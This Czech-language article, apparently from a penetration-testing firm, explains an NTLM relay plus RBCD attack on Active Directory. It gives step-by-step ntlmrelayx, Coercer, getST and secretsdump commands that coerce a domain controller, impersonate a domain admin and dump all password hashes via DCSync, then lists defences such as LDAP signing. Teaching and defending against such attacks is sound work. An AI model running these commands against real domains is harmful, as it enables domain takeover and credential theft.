Využití NTLM Relay v kombinaci s Resource Based Constrained Delegation (RBCD) pro kompromitaci domény
V oblasti kybernetické bezpečnosti jsou autentizační protokoly, jako je NTLM, často cílem útočníků kvůli jejich konstrukčním slabinám. Útok NTLM Relay je jednou z technik, které mohou vést k eskalaci privilegií a úplné kompromitaci domény v prostředí Active Directory. Tento článek popisuje specifickou variantu útoku využívající Resource-Based Constrained Delegation (RBCD), vychází z konkrétních nálezů v námi testovaných doménách při penetračních testech a poskytuje praktickou ukázku. Cílem je nejen vysvětlit mechanismus útoku, ale také zdůraznit důležitost správné konfigurace a obranných opatření.
Pozadí: Autentizace NTLM a útoky typu Relay
NTLM (NT LAN Manager) je autentizační protokol používaný v prostředích Windows pro ověřování identity uživatelů. Funguje na principu výzvy a odpovědi (challenge/response), kde klient odpovídá na serverovou výzvu hashovanou verzí svého hesla. Proces zahrnuje následující kroky:
- Klient požádá o přístup k prostředku.
- Server vygeneruje náhodnou výzvu a pošle ji klientovi.
- Klient zašifruje výzvu svým heslem a odešle odpověď.
- Server ověří odpověď prostřednictvím doménového řadiče.
NTLM existuje ve dvou verzích: NTLMv1 a bezpečnější NTLMv2. Přesto má NTLM několik slabin, zejména absenci vzájemné autentizace, což umožňuje útoky typu man-in-the-middle, jako je NTLM Relay.
Na rozdíl od NTLM je Kerberos, další autentizační protokol používaný v Active Directory, bezpečnější díky použití tiketů a vzájemné autentizace. Nicméně NTLM je stále používán v situacích, kdy Kerberos není dostupný, například při autentizaci na starších systémech nebo v sítích s přítomností zařízení mimo doménu.
NTLM Relay
Útok zneužívá skutečnost, že NTLM nechrání integritu zpráv ani nebrání jejich změně. Útočník zachytí autentizační zprávy a přesměruje je na jiný server, čímž se vydává za legitimního klienta. Tento útok může vést k neoprávněnému přístupu, eskalaci privilegií nebo kompromitaci celé domény, pokud je zachycena autentizace privilegovaného účtu.
Resource-Based Constrained Delegation (RBCD)
Delegace v Active Directory umožňuje službám jednat jménem uživatelů, což je užitečné pro scénáře, jako je například přístup k databázím. Resource-Based Constrained Delegation (RBCD), představená ve Windows Server 2012, přesouvá kontrolu delegace na prostředek, nikoli na účet služby. Prostředek (např. server) může určit, které účty mu mohou delegovat přístup, a to prostřednictvím atributu msDS-AllowedToActOnBehalfOfOtherIdentity.
RBCD byla navržena pro zvýšení bezpečnosti omezením delegačních práv, ale chybná konfigurace může vést k jejímu zneužití. Útočník:
- Získá kontrolu nad počítačovým účtem (např. vytvořením nového účtu).
- Nastaví atribut msDS-AllowedToActOnBehalfOfOtherIdentity na cílovém prostředku (např. doménovém řadiči) tak, aby obsahoval ovládaný účet.
- Použije protokol S4U2proxy k získání tiketu služby jménem libovolného uživatele, včetně doménového administrátora.
Tento proces umožňuje útočníkovi vydávat se za privilegované uživatele vůči kritickým službám, jako je LDAP, což může vést až ke kompromitaci celé domény.
Přehled útoku
Útok se skládá z následujících fází:
- Nastavení relay: Útočník použije impacket-ntlmrelayx k zachycení a přesměrování autentizací na LDAP službu doménového řadiče.
- Vynucení autentizace: Pomocí nástroje Coercer je doménový řadič přinucen k autentizaci na útočníkův stroj.
- Vytvoření účtu: Přesměrovaná autentizace umožní vytvoření nového počítačového účtu s právy RBCD.
- Získání tiketu: Útočník použije impacket-getST k získání Kerberos tiketu pro administrátora.
- Útok DCSync: S tiketem je proveden DCSync pomocí impacket-secretsdump, čímž jsou získána hesla všech účtů.
Nástroje použité v útoku
Pro provedení útoku jsou použity následující nástroje:
- Impacket (Impacket GitHub):
- ntlmrelayx: Zachycuje a přesměrovává NTLM autentizace na různé protokoly, včetně LDAP.
- getST: Žádá o Kerberos tikety služby pomocí S4U2proxy.
- secretsdump: Extrahuje pověření z Active Directory, včetně DCSync.
- Coercer (Coercer GitHub): Pomocí zranitelných služeb jako je PrintSpooler a RPC volání dokáže vynucovat autentizaci z cílových doménových kontrolerů, což je klíčové pro úspěšnou relay.
Ukázka
Krok 1: Nastavení NTLM Relay
Spuštění impacket-ntlmrelayx pro zachycení autentizace:
impacket-ntlmrelayx -t ldaps://dc1.example.com –remove-mic -smb2support --delegate-access

Tento příkaz nastaví relay pro přeposílání autentizací na LDAP službu z druhého na první doménový řadič (v příkazu je potřeba uvést DNS název), čímž umožní vytvoření počítačového účtu s RBCD.
Krok 2: Vynucení autentizace
Použití Coerceru k přinucení doménového řadiče k autentizaci:
coercer coerce -l <attacker_ip> -t <dc2_ip> -u <username> -p <password> -d <domain> -v
Je potřeba nahradit <attacker_ip> IP adresou útočícího stroje (typicky Kali) a <dc2_ip> IP adresou druhého doménového řadiče.

Krok 3: Přesměrování autentizace
impacket-ntlmrelayx zachytí autentizaci z druhého a přepošle ji na první DC - tím ji použije k vytvoření nového počítačového účtu (v příkladu XNQIPJDQ$) a nastavení RBCD na doménovém řadiči. Výstup zahrnuje i heslo daného vytvořeného machine účtu.

Krok 4: Využití RBCD
Teď už lze získat kerberos ticket libovolného doménového administrátora – využije se k tomu právě náš nový privilegovaný machine account.
impacket-getST -spn cifs/dc2.example.com -impersonate <domain_admin> <domain>/’MACHINE_ACC$’:’password’
Je potřeba nahradit <dc2> DNS názvem druhého doménového kontroleru a <domain_admin> příslušným doménovým administrátorem. Ticket bude uložen do souboru ve formátu ccache.

Krok 5: Provedení DCSync
Ještě před samotným DCSyncem je zapotřebí nastavit proměnnou KRB5CCNAME na náš Kerberos ticket:
export KRB5CCNAME=<ccache>
A konečně
impacket-secretsdump -k -no-pass dc2.example.com
Tento příkaz extrahuje hashe hesel z Active Directory, čímž je doména kompromitována.

Předpoklady útoku
Útok vyžaduje:
- Není vyžadováno podepisování LDAP (LDAP signing): Bez podpisování lze provádět relay LDAP autentizace.
- Možnost vynucení autentizace: Útočník musí přimět doménový řadič k autentizaci, což půjde vždy, protože některé metody Microsoft nepovažuje za chybu a nabude je opravovat.
- Síťový přístup: Útočník musí být ve stejné síti/podsíti s DC nebo mít přístup k routovanému spojení tam i zpět.
- Přitomnost minimálně dvou DC: Aby bylo možné autentizaci jednoho DC přeposlat na druhé
- Možnost přidat své PC do domény nebo ovládání doménového PC na administrátorské úrovni: Toho lze do jisté míry obejít pomocí útoku „shadow credentials“ (o tom zase někdy v budoucím článku).
Ochrana před útokem pak v podstatě spočívá v eliminaci předpokladů uvedených výše. Zejména LDAP signing a také i LDAP channel binding nejsou ve starších doménách vůbec zapnuté. To je řešeno defaultně až ve verzi Windows Server 2025 a vyšších.
Závěr
Útok NTLM Relay s využitím RBCD je technika, která může mít závažné dopady na organizace s Active Directory. Tento článek ukázal, jak útočníci mohou zneužít slabiny NTLM a chybně nakonfigurovanou delegaci k získání úplné kontroly nad doménou.
Pro kolegy z oblasti security je klíčové tyto mechanismy pochopit, protože jedině tak mohou útok buď provést anebo svou doménu zabezpečit. Technická opatření, jako podpisování LDAP a zamezení přidávání PC do domény musí být doplněna pravidelnými audity a monitorováním.
S rostoucí složitostí kybernetických hrozeb je třeba neustále aktualizovat bezpečnostní postupy a sledovat nové techniky útoků. Výzkum v oblasti autentizačních protokolů pokračuje, a organizace by měly investovat do moderních řešení, jako je plná adopce Kerberos nebo přechod na cloudová řešení s pokročilými bezpečnostními funkcemi. Prevence útoků, jako je NTLM Relay, vyžaduje kombinaci technologií, procesů a lidského faktoru, aby byla zajištěna odolnost vůči kybernetickým hrozbám.



